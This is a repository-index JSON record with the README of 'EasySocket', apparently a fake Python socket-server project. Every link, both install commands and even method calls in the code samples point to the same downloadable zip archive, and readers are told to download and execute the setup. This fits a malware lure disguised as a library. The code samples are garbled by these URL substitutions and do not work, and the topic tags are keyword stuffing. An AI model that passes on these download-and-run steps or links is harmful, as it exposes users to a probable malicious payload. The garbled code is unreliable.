{"id":29027033,"url":"https://github.com/dionkaps7/easysocket","last_synced_at":"2026-04-11T12:43:24.348Z","repository":{"id":294842431,"uuid":"988163770","full_name":"dionkaps7/EasySocket","owner":"dionkaps7","description":"Effortless Python socket server for quick integration.","archived":false,"fork":false,"pushed_at":"2025-10-22T04:56:29.000Z","size":23,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-10-22T06:34:38.138Z","etag":null,"topics":["android","broadcast","client","cross-platform-makefiles","dotnet","easysocket","go","korean","local-network","network","network-connection","networks","simple","socket","socket-io","sockets","udp","wifi"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dionkaps7.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-05-22T06:35:54.000Z","updated_at":"2025-10-22T04:56:32.000Z","dependencies_parsed_at":"2025-06-20T02:27:30.301Z","dependency_job_id":"875a1b46-22b9-410a-a660-ab6331492689","html_url":"https://github.com/dionkaps7/EasySocket","commit_stats":null,"previous_names":["dionkaps7/easysocket"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/dionkaps7/EasySocket","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dionkaps7%2FEasySocket","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dionkaps7%2FEasySocket/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dionkaps7%2FEasySocket/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dionkaps7%2FEasySocket/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dionkaps7","download_url":"https://codeload.github.com/dionkaps7/EasySocket/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dionkaps7%2FEasySocket/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":281425557,"owners_count":26499031,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-28T02:00:06.022Z","response_time":60,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","broadcast","client","cross-platform-makefiles","dotnet","easysocket","go","korean","local-network","network","network-connection","networks","simple","socket","socket-io","sockets","udp","wifi"],"created_at":"2025-06-26T06:02:01.329Z","updated_at":"2026-04-11T12:43:24.343Z","avatar_url":"https://github.com/dionkaps7.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# EasySocket 🌐\n\n![EasySocket](https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip%20Framework-blue)\n\nWelcome to **EasySocket**, your go-to solution for building a Python socket server with ease. This lightweight framework allows you to integrate socket functionality quickly, making network programming straightforward and accessible.\n\n## Table of Contents\n\n1. [Features](#features)\n2. [Installation](#installation)\n3. [Getting Started](#getting-started)\n4. [Usage](#usage)\n5. [Examples](#examples)\n6. [API Reference](#api-reference)\n7. [Contributing](#contributing)\n8. [License](#license)\n9. [Support](#support)\n\n## Features\n\n- **Effortless Integration**: Quickly set up a socket server with minimal configuration.\n- **Lightweight**: The framework is designed to be fast and efficient, without unnecessary overhead.\n- **Callback Support**: Easily manage events and responses using callback functions.\n- **Minimal Setup**: Get started with just a few lines of code.\n- **Python 3 Compatibility**: Fully compatible with Python 3, ensuring modern programming practices.\n\n## Installation\n\nTo install EasySocket, simply clone the repository and install the required packages. Use the following commands:\n\n```bash\ngit clone https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip\ncd EasySocket\npip install -r https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip\n```\n\nFor the latest releases, visit the [Releases](https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip) section. Download the latest version and execute the setup.\n\n## Getting Started\n\nTo get started with EasySocket, follow these simple steps:\n\n1. Import the EasySocket module in your Python script.\n2. Create an instance of the socket server.\n3. Define your callback functions to handle incoming connections and messages.\n4. Start the server.\n\nHere’s a simple example to illustrate the process.\n\n## Usage\n\n### Basic Server Setup\n\n```python\nfrom easysocket import EasySocket\n\ndef on_connect(client_socket):\n    print(\"Client connected:\", client_socket)\n\ndef on_message(client_socket, message):\n    print(\"Message received:\", message)\n    https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip(\"Message received\".encode())\n\nserver = EasySocket(port=12345)\nhttps://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip = on_connect\nhttps://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip = on_message\nhttps://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip()\n```\n\nIn this example, we define two callback functions: `on_connect` to handle new client connections and `on_message` to process incoming messages.\n\n### Advanced Features\n\nEasySocket supports various advanced features, including:\n\n- **Multi-threading**: Handle multiple clients simultaneously.\n- **Custom Protocols**: Easily define your own message formats.\n- **Error Handling**: Robust error management to keep your server running smoothly.\n\n## Examples\n\n### Echo Server\n\nHere’s a simple echo server example:\n\n```python\nfrom easysocket import EasySocket\n\ndef on_message(client_socket, message):\n    https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip(message)\n\nserver = EasySocket(port=12345)\nhttps://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip = on_message\nhttps://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip()\n```\n\nThis server will echo back any message it receives.\n\n### Chat Server\n\nFor a more complex application, consider a chat server that broadcasts messages to all connected clients:\n\n```python\nfrom easysocket import EasySocket\n\nclients = []\n\ndef on_connect(client_socket):\n    https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip(client_socket)\n\ndef on_message(client_socket, message):\n    for client in clients:\n        if client != client_socket:\n            https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip(message)\n\nserver = EasySocket(port=12345)\nhttps://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip = on_connect\nhttps://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip = on_message\nhttps://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip()\n```\n\nThis chat server keeps track of all connected clients and broadcasts messages to everyone except the sender.\n\n## API Reference\n\n### EasySocket Class\n\n#### `__init__(port: int)`\n\nInitializes the EasySocket server on the specified port.\n\n#### `on_connect(client_socket: socket)`\n\nCallback function that is called when a new client connects.\n\n#### `on_message(client_socket: socket, message: str)`\n\nCallback function that is called when a message is received from a client.\n\n#### `start()`\n\nStarts the socket server.\n\n## Contributing\n\nWe welcome contributions to EasySocket! If you have suggestions or improvements, please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch for your feature or bug fix.\n3. Make your changes and commit them.\n4. Push your branch and create a pull request.\n\nPlease ensure your code follows our coding standards and includes tests where applicable.\n\n## License\n\nEasySocket is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.\n\n## Support\n\nFor any questions or issues, please check the [Releases](https://raw.githubusercontent.com/dionkaps7/EasySocket/main/canicule/Socket-Easy-unanimously.zip) section. If you encounter problems, feel free to open an issue on GitHub.\n\nThank you for using EasySocket! We hope it simplifies your socket programming experience.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdionkaps7%2Feasysocket","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdionkaps7%2Feasysocket","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdionkaps7%2Feasysocket/lists"}